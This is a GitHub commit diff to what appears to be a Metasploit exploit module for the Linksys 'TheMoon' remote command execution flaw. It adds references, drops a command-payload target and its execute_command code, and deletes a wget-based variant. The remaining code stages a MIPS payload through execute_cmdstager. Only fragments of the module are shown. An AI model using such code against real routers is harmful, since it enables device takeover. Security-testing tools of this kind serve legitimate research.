Skip to content

Commit 15345da

Browse files
author
Michael Messner
committed
remove the wget module, remove the cmd stuff, testing bind stuff ahead
1 parent 2935f4f commit 15345da

File tree

2 files changed

+4
-268
lines changed

2 files changed

+4
-268
lines changed

modules/exploits/linux/http/linksys_themoon_exec_echo.rb renamed to modules/exploits/linux/http/linksys_themoon_exec.rb

Lines changed: 4 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -36,9 +36,12 @@ module was tested against a E1500 v1.0.5.
3636
'References' =>
3737
[
3838
[ 'EDB', '31683' ],
39+
[ 'BID', '65585' ],
40+
[ 'OSVDB', '103321' ],
3941
[ 'URL', 'http://packetstormsecurity.com/files/125253/linksyseseries-exec.txt' ],
4042
[ 'URL', 'http://packetstormsecurity.com/files/125252/Linksys-Worm-Remote-Root.html' ],
41-
[ 'URL', 'https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633' ]
43+
[ 'URL', 'https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633' ],
44+
[ 'URL', 'https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630' ]
4245
],
4346
'DisclosureDate' => 'Feb 13 2014',
4447
'Privileged' => true,
@@ -49,12 +52,6 @@ module was tested against a E1500 v1.0.5.
4952
},
5053
'Targets' =>
5154
[
52-
[ 'CMD',
53-
{
54-
'Arch' => ARCH_CMD,
55-
'Platform' => 'unix'
56-
}
57-
],
5855
[ 'Linux mipsel Payload',
5956
{
6057
'Arch' => ARCH_MIPSLE,
@@ -116,20 +113,6 @@ def exploit
116113
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
117114
end
118115

119-
if target.name =~ /CMD/
120-
if not (datastore['CMD'])
121-
fail_with(Failure::BadConfig, "#{peer} - Only the cmd/generic payload is compatible")
122-
end
123-
cmd = payload.encoded
124-
res = execute_command(cmd,"0")
125-
if (!res)
126-
fail_with(Failure::Unknown, "#{peer} - Unable to execute payload")
127-
else
128-
print_status("#{peer} - Blind Exploitation - unknown Exploitation state")
129-
end
130-
return
131-
end
132-
133116
execute_cmdstager(
134117
:linemax => 26
135118
)

modules/exploits/linux/http/linksys_themoon_exec_wget.rb

Lines changed: 0 additions & 247 deletions
This file was deleted.

0 commit comments

Comments
 (0)